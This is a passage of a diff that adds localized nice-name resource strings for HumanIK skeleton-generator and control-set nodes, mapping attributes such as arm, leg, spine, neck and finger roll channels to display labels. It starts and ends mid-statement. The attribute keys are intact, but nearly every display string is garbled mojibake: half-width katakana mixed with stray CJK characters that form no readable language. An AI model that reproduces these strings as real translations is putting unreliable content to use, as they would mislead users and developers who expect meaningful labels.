"メカモメエヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4R", "メカモメエヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Rx", "メカモメエヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Ry", "メカモメエヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Rz", "メカモメエヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4S", "メカモメエヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Sx", "メカモメエヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Sy", "メカモメエヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Sz", "メカモメエヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4T", "メカモメヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Tx", "メカモメヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Ty", "メカモメヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Tz", "メカモメヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4R", "メカモメヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Rx", "メカモメヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Ry", "メカモメヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Rz", "メカモメヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4S", "メカモメヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Sx", "メカモメヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Sy", "メカモメヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Sz", "メカモメヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4T", "メカラアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Tx", "メカラアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Ty", "メカラアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Tz", "メカラアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4R", "メカラアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Rx", "メカラアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Ry", "メカラアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Rz", "メカラアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4S", "メカラアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Sx", "メカラアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Sy", "メカラアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Sz", "メカラアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4T", "メカラヌーアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Tx", "メカラヌーアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Ty", "メカラヌーアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Tz", "メカラヌーアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4R", "メカラヌーアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Rx", "メカラヌーアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Ry", "メカラヌーアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Rz", "メカラヌーアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4S", "メカラヌーアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Sx", "メカラヌーアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Sy", "メカラヌーアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Sz", "メカラヌーアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4T", "メカモメアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Tx", "メカモメアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Ty", "メカモメアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Tz", "メカモメアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4R", "メカモメアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Rx", "メカモメアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Ry", "メカモメアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Rz", "メカモメアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4S", "メカモメアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Sx", "メカモメアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Sy", "メカモメアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll4Sz", "メカモメアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4T", "メカモメヌーアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Tx", "メカモメヌーアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Ty", "メカモメヌーアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Tz", "メカモメヌーアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4R", "メカモメヌーアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Rx", "メカモメヌーアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Ry", "メカモメヌーアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Rz", "メカモメヌーアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4S", "メカモメヌーアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Sx", "メカモメヌーアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Sy", "メカモメヌーアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll4Sz", "メカモメヌーアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5T", "メカラエヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Tx", "メカラエヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Ty", "メカラエヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Tz", "メカラエヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5R", "メカラエヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Rx", "メカラエヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Ry", "メカラエヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Rz", "メカラエヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5S", "メカラエヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Sx", "メカラエヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Sy", "メカラエヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll5Sz", "メカラエヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5T", "メカラヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Tx", "メカラヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Ty", "メカラヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Tz", "メカラヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5R", "メカラヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Rx", "メカラヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Ry", "メカラヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Rz", "メカラヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5S", "メカラヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Sx", "メカラヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Sy", "メカラヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll5Sz", "メカラヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5T", "メカモメエヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Tx", "メカモメエヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Ty", "メカモメエヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Tz", "メカモメエヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5R", "メカモメエヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Rx", "メカモメエヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Ry", "メカモメエヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Rz", "メカモメエヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5S", "メカモメエヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Sx", "メカモメエヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Sy", "メカモメエヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll5Sz", "メカモメエヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5T", "メカモメヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Tx", "メカモメヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Ty", "メカモメヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Tz", "メカモメヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5R", "メカモメヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Rx", "メカモメヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Ry", "メカモメヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Rz", "メカモメヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5S", "メカモメヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Sx", "メカモメヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Sy", "メカモメヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll5Sz", "メカモメヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5T", "メカラアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Tx", "メカラアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Ty", "メカラアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Tz", "メカラアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5R", "メカラアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Rx", "メカラアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Ry", "メカラアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Rz", "メカラアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5S", "メカラアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Sx", "メカラアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Sy", "メカラアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll5Sz", "メカラアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5T", "メカラヌーアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Tx", "メカラヌーアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Ty", "メカラヌーアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Tz", "メカラヌーアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5R", "メカラヌーアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Rx", "メカラヌーアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Ry", "メカラヌーアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Rz", "メカラヌーアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5S", "メカラヌーアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Sx", "メカラヌーアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Sy", "メカラヌーアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll5Sz", "メカラヌーアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5T", "メカモメアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Tx", "メカモメアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Ty", "メカモメアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Tz", "メカモメアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5R", "メカモメアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Rx", "メカモメアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Ry", "メカモメアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Rz", "メカモメアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5S", "メカモメアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Sx", "メカモメアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Sy", "メカモメアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll5Sz", "メカモメアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5T", "メカモメヌーアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Tx", "メカモメヌーアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Ty", "メカモメヌーアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Tz", "メカモメヌーアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5R", "メカモメヌーアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Rx", "メカモメヌーアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Ry", "メカモメヌーアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Rz", "メカモメヌーアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5S", "メカモメヌーアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Sx", "メカモメヌーアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Sy", "メカモメヌーアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll5Sz", "メカモメヌーアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKControlSetNode +// +setNodeNiceNameResource( "HIKControlSetNode", "HIKControl Set スレオ" ); +setAttrNiceNameResource( "HIKControlSetNode", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKControlSetNode", "HIC", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKControlSetNode", "Reference", "メモテ" ); +setAttrNiceNameResource( "HIKControlSetNode", "Hips", "ナイソ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftUpLeg", "ラエヘネ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftLeg", "ラヘネ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFoot", "ラスナ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightUpLeg", "モメエヘネ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightLeg", "モメヘネ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFoot", "モメスナ" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine", "シケラオ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftArm", "ラアロ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftForeArm", "ラヌーアロ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHand", "ラハヨ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightArm", "モメアロ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightForeArm", "モメヌーアロ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHand", "モメハヨ" ); +setAttrNiceNameResource( "HIKControlSetNode", "Head", "ヘキイソ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftToeBase", "ラスナヨコク" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightToeBase", "モメスナヨコク" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftShoulder", "ラシ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightShoulder", "モメシ" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck", "セアイソ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFingerBase", "ラハヨヨクク" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFingerBase", "モメハヨヨクク" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine1", "シケラオ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine2", "シケラオ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine3", "シケラオ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine4", "シケラオ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine5", "シケラオ 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine6", "シケラオ 6" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine7", "シケラオ 7" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine8", "シケラオ 8" ); +setAttrNiceNameResource( "HIKControlSetNode", "Spine9", "シケラオ 9" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck1", "セアイソ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck2", "セアイソ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck3", "セアイソ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck4", "セアイソ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck5", "セアイソ 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck6", "セアイソ 6" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck7", "セアイソ 7" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck8", "セアイソ 8" ); +setAttrNiceNameResource( "HIKControlSetNode", "Neck9", "セアイソ 9" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftUpLegRoll", "ラエヘネイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftLegRoll", "ラヘネイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightUpLegRoll", "モメエヘネイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightLegRoll", "モメヘネイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftArmRoll", "ラアロイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftForeArmRoll", "ラヌーアロイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightArmRoll", "モメアロイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightForeArmRoll", "モメヌーアロイ犹" ); +setAttrNiceNameResource( "HIKControlSetNode", "HipsTranslation", "ナイソニスメニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb1", "ラハヨトエヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb2", "ラハヨトエヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb3", "ラハヨトエヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumb4", "ラハヨトエヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex1", "ラハヨハウヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex2", "ラハヨハウヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex3", "ラハヨハウヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndex4", "ラハヨハウヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle1", "ラハヨヨミヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle2", "ラハヨヨミヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle3", "ラハヨヨミヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddle4", "ラハヨヨミヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing1", "ラハヨボテヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing2", "ラハヨボテヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing3", "ラハヨボテヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRing4", "ラハヨボテヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinky1", "ラハヨミ。ヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinky2", "ラハヨミ。ヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", 